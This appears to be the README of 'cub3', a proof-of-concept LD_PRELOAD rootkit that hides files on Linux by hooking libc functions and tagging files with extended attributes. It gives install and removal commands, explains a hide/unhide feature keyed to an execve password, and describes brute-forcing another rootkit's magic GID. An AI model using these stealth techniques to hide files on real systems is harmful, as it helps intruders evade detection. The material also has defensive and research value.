Typically, magic strings and magic GIDs are used to hide LD_PRELOAD rootkit files, but both of those methods are flawed.
GID protection is flawed as, usually, the magic GID can actually be bruteforced. An example way of doing this is by calling chown() in a repeating loop with a forever incrementing GID until the chown() function returns -1 (and/or an error number).
Magic strings are over convoluted and require a tad more programming if used, but it mostly comes down to the programmer of the malware screwing up when it comes to logic-type situations. They're generally just worse than GID protections.
So here I am! Providing a PoC work around for both inconveniences.
cub3 uses extended attributes (xattr) to protect its files.
xattr is supported by the ext2, ext3, ext4, JFS, Squashfs, Yaffs2, ReiserFS, XFS, Btrfs, OrangeFS, Lustre, OCFS2 1.6 and F2FS file systems in Linux. If you're trying to install cub3 on an unsupported file system, that's your fault for being on a box with a terrible file system.
You can easily adapt this to be much better. Improvements can be made, such as using a random magic xattr string.
As far as process hiding goes, you can still use GID protections for process hiding, but ONLY for process hiding. You can't use xattr protection for process hiding as the procfs (the file system used by /proc/) doesn't support extended attributes.
Extended attributes can also be disabled in the kernel, too.
http://pastebin.com/rZvjDzFK is an example GID bruteforcer.
DO NOT TOUCH CONFIG.H. INSTALL.SH HANDLES THIS FILE.
git clone https://github.com/x-0rd/cub3.git
cd cub3
./install.sh
After installation, the installation script will tell you how to remove cub3 once you're done with it. In case you're a baby, here's how you do it. MAKE SURE YOU'RE ROOT FIRST.
export DEFAULT_ENV=1
chattr -ia /etc/ld.so.preload
rm -rf /etc/ld.so.preload /lib/cub3.so
Done.
I added a small feature to allow you to dynamically hide/unhide files/directories. To access this feature, make sure you're in a root shell and export your environment variable. Then type ./hide <your execve pass> and you'll be shown usage instructions. To unhide files, just change hide to unhide. It's that simple.
This function is handled by the execve() call.
- cub3 is not supposed to be used as a rootkit. It has no backdoor functionality, and does nothing malicious on its own. You are given means to remove it easily.
- In no way does cub3 try to hide itself. You can still see that the shared object is being loaded by /proc/self/[s]maps, ldd output, LD environment variables, ltrace, dlsym address comparisons/verifications, dlinfo output - general libdl tricks.
- There's a setting in config.h you may want to enable. The "DEBUG" constant is set by default to off, if you enable it, you'll see output from every hooked libc function.
- I'm lazy and didn't hook any of the stat functions. I didn't deem it necessary.
- I'm not responsible for what you do with what I'm giving you.
- listxattr, llistxattr, flistxattr
- getxattr, lgetxattr, fgetxattr
- setxattr, lsetxattr, fsetxattr
- removexattr, lremovexattr, fremovexattr
- open, open64, openat, creat
- unlink, unlinkat, rmdir
- symlink, symlinkat
- mkdir, mkdirat, chdir, fchdir, opendir, opendir64, fdopendir, readdir, readdir64
- execve